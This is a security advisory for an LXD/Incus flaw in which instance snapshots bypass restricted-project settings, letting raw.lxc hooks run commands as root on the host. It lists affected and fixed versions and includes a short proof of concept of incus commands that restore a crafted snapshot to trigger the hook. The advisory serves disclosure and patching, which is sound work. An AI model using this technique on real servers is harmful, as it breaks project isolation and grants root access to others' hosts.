GHSA-47w9-6r3f-938g

Source

https://github.com/advisories/GHSA-47w9-6r3f-938g

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-47w9-6r3f-938g/GHSA-47w9-6r3f-938g.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-47w9-6r3f-938g

Related

CVE-2026-48751

Published

2026-11-06T19:51:26Z

Modified

2026-11-06T20:00:05Z

Severity

9.9 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVSS Calculator

Summary

LXD has restricted project bypass leading to arbitrary command execution

Details

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

Bypass of project restrictions.
Arbitrary command execution on the Incus server.

Database specific

{
    "cwe_ids": [
        "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-06T19:51:26Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
}

References

Affected packages

Go / github.com/canonical/lxd

Package

Name: github.com/canonical/lxd; View open source insights on deps.dev
Purl: pkg:golang/github.com/canonical/lxd

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.0.0-20260630083100-c5184be310b1

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-47w9-6r3f-938g/GHSA-47w9-6r3f-938g.json"